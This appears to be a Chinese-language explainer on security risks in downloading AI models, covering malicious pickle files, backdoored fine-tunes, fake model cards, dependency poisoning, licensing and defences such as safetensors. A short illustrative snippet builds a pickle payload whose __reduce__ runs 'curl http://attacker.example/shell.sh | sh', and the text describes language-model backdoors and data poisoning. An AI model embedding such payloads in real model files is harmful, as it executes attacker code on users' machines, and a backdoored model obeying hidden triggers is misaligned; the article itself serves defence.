AI 的模型供應鏈：為什麼下載模型有風險
這六層環環相扣，而「下載」這個動作，正是把前面五層的風險一次帶進第六層的關鍵動作。這也是為什麼資安圈常說：模型下載是本世紀最被低估的軟體供應鏈風險之一。
為何「下載」成為最脆弱的一環
傳統軟體至少還有套件管理器、簽章驗證、雜湊比對等機制，而且大多數開發者已經被教育成「看到不明來源的 .exe 會怕」。但模型的世界不一樣：模型檔案動輒數 GB，很多人根本不會去檢查雜湊；模型格式五花八門，很多人不知道 .bin、.pt、.pth 其實都可能是 Python pickle 格式；模型卡（model card）看起來很正式，但那是使用者自己寫的，沒有任何強制驗證機制。
更麻煩的是，模型社群的預設文化是「先跑跑看再說」。這種「能用就好」的心態，正好是攻擊者最喜歡的環境。當一個模型能正確回答問題、能通過幾個 benchmark，多數人就會直接信任它，而不會去想「這個權重檔裡除了權重還有什麼」。
二、下載模型時，你可能同時下載了什麼？
這一節我們把風險具體化。下載一個模型，名義上你拿到的是「權重」，但實際上你可能同時拿到了程式碼、後門、依賴、授權義務，甚至法律責任。以下逐一拆解。
惡意程式碼：pickle 格式的致命吸引力
這是目前最知名、也最實際的模型供應鏈風險。Python 的 pickle 模組在反序列化（unpickle）時，可以執行任意程式碼。而 PyTorch 的 .bin、.pt、.pth 等常見模型格式，本質上就是 pickle 的封裝。也就是說，當你執行 torch.load("model.bin") 的那一刻，你等於在執行那個檔案裡夾帶的任意 Python 程式碼。
攻擊者可以把一段反向 shell、挖礦程式、竊取環境變數的腳本，藏進 pickle 的 __reduce__ 方法裡。檔案看起來就是一個正常的模型，載入時也不會報錯，因為惡意程式碼是在反序列化階段就被觸發的。以下是個極簡化的示意（請勿用於非法用途）：
import pickle, os
class Evil:
def __reduce__(self):
return (os.system, ("curl http://attacker.example/shell.sh | sh",))
payload = pickle.dumps(Evil())
把 payload 塞進模型檔的某個欄位，載入時就會執行
這不是理論上的攻擊。JFrog 的安全研究團隊曾在 Hugging Face 上發現數十個夾帶惡意 pickle 的模型，PyTorch 官方也早就建議使用 weights_only=True 來降低風險，Hugging Face 更直接推動了 safetensors 格式來取代 pickle。問題是，舊模型、社群自製模型、論壇附件，仍然大量使用 pickle 格式，而很多使用者根本不知道這件事。
後門與觸發器：模型裡的隱形開關
比惡意程式碼更隱蔽的，是「模型層級的後門」。攻擊者可以在微調階段，刻意讓模型學會某種觸發行為：平常表現完全正常，但當輸入中包含特定字串、特定格式、特定語境時，模型就會輸出攻擊者想要的內容，例如洩漏系統提示、產生惡意程式碼、給出錯誤的醫療建議，或是把使用者導向釣魚網站。
這類後門不會在一般的 benchmark 上被發現，因為它在絕大多數輸入下都表現正常。你要偵測它，得先知道觸發條件是什麼，而這正是攻擊者不會告訴你的事。學術界已經有大量論文展示「badnets」、「trojan attacks」在語言模型上的可行性，而開源模型的微調門檻又極低，這讓「帶後門的微調模型」成為一種非常現實的威脅。
更糟的是，這類後門可以透過「模型合併」（model merging）或「權重插值」被稀釋或轉移，讓溯源變得極為困難。你今天下載的模型，可能是好幾個來源的權重混合而成，出了問題你根本不知道該找誰。
偽造的模型卡與「掛羊頭賣狗肉」
模型卡是模型社群的一種自律機制：開發者用文字說明這個模型是什麼、怎麼訓練、適用於什麼場景、有什麼限制。但模型卡沒有任何強制驗證。任何人都可以在卡片上寫「基於 Llama 3 70B 微調」，實際上傳的卻是一個 7B 的小模型，甚至是別人的模型改名重傳。
這種「掛羊頭賣狗肉」的動機很多：可能是想蹭熱度、可能是想騙取下載數、也可能是想讓你在不知情的情況下使用一個有授權問題的模型。對企業來說，這會直接影響模型評估的準確性；對個人來說，你可能以為自己在用一個經過安全對齊的模型，實際上卻是一個毫無防護的原始權重。
還有另一種情況是「模型卡造假」搭配「惡意 pickle」：卡片寫得越專業、越像正規專案，使用者就越不會懷疑，也就越容易在沒有沙箱的情況下直接載入。
依賴套件的連鎖風險
下載模型通常不會只下載一個檔案。你會需要 transformers、torch、accelerate、sentencepiece 等依賴，而很多模型倉庫會附上 requirements.txt 或安裝指令。這裡就出現了典型的「依賴混淆」（dependency confusion）與「供應鏈投毒」風險：攻擊者可以上傳一個名稱相似的惡意套件，或是利用 pip install 的解析順序，讓你在安裝依賴時就把惡意程式裝進來。
此外，模型的「自訂程式碼」（custom code）也是個大坑。有些模型倉庫會要求你加上 trust_remote_code=True，意思是「允許執行倉庫裡附帶的 Python 程式碼」。這個參數的名字已經很直白了，但很多人為了讓模型跑起來，還是會毫不猶豫地打開它。一旦打開，你就等於把遠端倉庫的程式碼當成本地程式在執行。
授權與法務風險
模型不是只有技術問題，還有法律問題。不同模型的授權條款差異極大：有的採用 Apache 2.0、MIT 這類寬鬆授權；有的採用 AGPL，要求你衍生作品也必須開源；有的像 Llama 系列有「社群授權」，對商業用途、使用者數量設有門檻；還有些模型根本沒有清楚標示授權，或是授權條款與模型卡互相矛盾。
企業如果沒有做好授權審查，可能會在不知情的情況下違反授權條款，面臨法律風險。更麻煩的是，模型權重的「衍生作品」界定在法律上仍然模糊，微調後的模型算不算衍生作品、量化後的模型算不算，這些問題目前都還沒有統一答案。下載一個模型，你可能同時下載了一份你沒有能力履行的契約義務。
三、真實世界的供應鏈攻擊案例
講完風險類型，我們來看一些實際發生過、或已被公開研究證實的案例。這些案例不是要嚇人，而是要說明：模型供應鏈攻擊已經不是「未來式」，而是「現在進行式」。
Hugging Face 上的惡意模型事件
Hugging Face 是目前最大的模型倉庫，也自然成為攻擊者的主要目標。2024 年，JFrog 的研究團隊公開了一份報告，指出他們在 Hugging Face 上發現了約上百個可疑或惡意的模型，這些模型夾帶了能在載入時執行的惡意 pickle 程式碼。攻擊者的手法並不複雜：註冊帳號、上傳一個看起來正常的模型、在 pickle 裡藏一段反向 shell 或挖礦腳本，然後等待有人下載。
這類事件之所以值得注意，是因為它打破了「大平台就安全」的迷思。Hugging Face 當然有做基本的安全掃描，但模型數量以百萬計，掃描不可能百分之百即時；而且攻擊者可以不斷改變手法來繞過偵測。平台提供的是「託管」，不是「保證安全」，這一點使用者必須自己清楚。
safetensors 的誕生：一場格式層面的防禦戰
面對 pickle 的結構性風險，Hugging Face 主導開發了 safetensors 格式。它的核心設計很簡單：只儲存張量資料，不執行任何程式碼，因此從根本上消除了「載入模型時被執行惡意程式碼」的可能。safetensors 也支援零拷貝載入、記憶體映射，載入速度更快，對大型模型尤其友善。
時至今日，safetensors 已經成為主流模型倉庫的預設格式之一，PyTorch 也持續強化 weights_only=True 的安全性。這是一場典型的「格式層防禦」：與其期待每個使用者都懂得檢查 pickle，不如從格式設計上讓攻擊面消失。不過，這並不代表風險歸零，因為還是有大量舊模型、社群模型、論壇附件使用 pickle 格式，而且 safetensors 只能防「程式碼執行」，防不了「模型後門」與「權重投毒」。
模型投毒與資料汙染
另一個被廣泛研究的領域是「資料投毒」。攻擊者不需要動模型權重，只要在訓練或微調資料裡混入特定樣本，就能讓模型學會錯誤行為。例如在程式碼資料集中混入帶有漏洞的範例，讓模型學會產生不安全的程式碼；或是在問答資料中植入錯誤事實，讓模型在特定主題上給出誤導性答案。
這類攻擊最麻煩的地方在於「難以偵測」。你很難從最終模型的行為反推出訓練資料被動過手腳，尤其是當觸發條件很狹窄時。對於使用開源資料集進行微調的團隊來說，這是一個必須正視的風險：你信任的不只是模型，還包括它背後那條你看不見的資料鏈。
四、企業與個人該如何自保？
講了這麼多風險，重點還是「怎麼辦」。這一節分成技術防護、流程治理、以及個人檢查清單三個層次來談。
技術層面的防護措施
第一，優先使用 safetensors 格式。如果一個模型只提供 pickle 格式，請先確認來源是否可信，並在沙箱環境中載入。第二，載入時關閉不必要的危險功能：PyTorch 使用 weights_only=True，Hugging Face 的 from_pretrained 避免随意開啟 trust_remote_code=True。
第三，使用模型掃描工具。例如 picklescan、ModelScan 這類工具，可以在載入前掃描 pickle 檔案中是否含有可疑的 __reduce__、os.system、subprocess 等呼叫。第四，雜湊驗證：如果官方有公布 SHA-256，下載後務必比對，避免中間人竄改或鏡像站被替換。
第五，沙箱與容器隔離。不要在自己的主力機器或生產環境上直接載入來路不明的模型。用 Docker、VM、或至少一個沒有敏感憑證的隔離環境來做初步測試，並且限制容器的網路與檔案系統權限。第六，最小權限原則：推論服務不應該有存取內部資料庫、雲端金鑰、或本機檔案系統的權限，這樣即使模型被攻破，損害也能被控制。
第七，使用模型防火牆與輸出過濾。針對模型後門與提示注入，可以在推論層加上輸入輸出檢查、敏感資訊遮蔽、以及行為異常偵測。這不是萬靈丹，但可以爭取反應時間。
流程與治理層面的建議
技術之外，流程才是根本。企業應該把「模型」當成「軟體供應鏈」的一部分來管理，而不是當成「一個檔案」來處理。具體做法包括：
這些流程聽起來很重，但可以循序漸進。對小型團隊來說，至少做到「來源審查 + 沙箱測試 + 授權確認」這三件事，就能擋掉大多數低階攻擊。
給個人使用者的實用檢查清單
如果你是一般使用者或獨立開發者，沒有企業級的資源，以下是幾個可以立刻做的檢查：
.safetensors；看到 .bin、.pt、.pth 要提高警覺。pip install -r requirements.txt，先檢查有沒有奇怪的套件名稱。用沙箱：第一次載入模型時，用隔離環境或關閉網路的容器測試。
trust_remote_code：除非你讀過那段程式碼，否則不要開。注意授權：商用前確認授權條款，必要時諮詢法務。
五、監管趨勢與未來展望
模型供應鏈安全正在從「小眾資安議題」變成「產業共識」。歐盟的《AI 法案》已經開始要求高風險 AI 系統必須具備技術文件、風險管理、以及供應鏈透明度；美國的 NIST 也發布了 AI 供應鏈風險管理的指引。雖然這些法規的落地細節還在演變，但方向很清楚：未來「你用的模型從哪來、經過誰的手、有沒有被驗證」會變成合規的一部分，而不只是資安人員的自我要求。
技術面也有幾個值得關注的趨勢。第一是「模型簽章」與「可驗證來源」的普及，讓下載者可以確認模型確實來自某個開發者、且未被竄改。第二是「模型掃描即服務」的成熟，把惡意 pickle、後門偵測、授權檢查整合進 CI/CD 流程。第三是「模型防火牆」與「行為監控」的發展，讓後門即使存在，也很難在實際部署中發揮作用。第四是「格式標準化」，safetensors 的成功已經證明，從格式層面消除攻擊面是有效的。
但我們也要務實一點：供應鏈安全沒有終點，只有風險管理。 只要模型還是以「檔案」的形式在網路上流動，只要開源社群的預設文化還是「先跑跑看」，風險就不會消失。真正能改變局面的，是每一個下載模型的人，開始把「下載」當成一個需要謹慎對待的動作，而不是一個無腦的點擊。
結語：便利與風險，從來是一體兩面
AI 模型供應鏈的風險，本質上不是技術問題，而是「信任問題」。我們信任模型倉庫、信任模型卡、信任作者、信任格式、信任依賴套件，而這些信任環節，每一個都可能被利用。開源模型帶來了前所未有的創新速度，但也把軟體供應鏈的老問題，用更大的規模、更隱蔽的形式重新帶了回來。
下次當你準備下載一個模型時，不妨多花三十秒問自己幾個問題：這個模型從哪來？它是什麼格式？我需不需要開 trust_remote_code？我是在沙箱裡跑，還是直接跑在裝有公司憑證的機器上？它的授權條款我看過了嗎？這三十秒，可能就是你避開下一次供應鏈攻擊的關鍵。
模型很強大，但下載模型的動作，從來都不只是「下載」而已。它是你把一整條看不見的供應鏈，邀請進自己環境的儀式。慎重一點，永遠值得。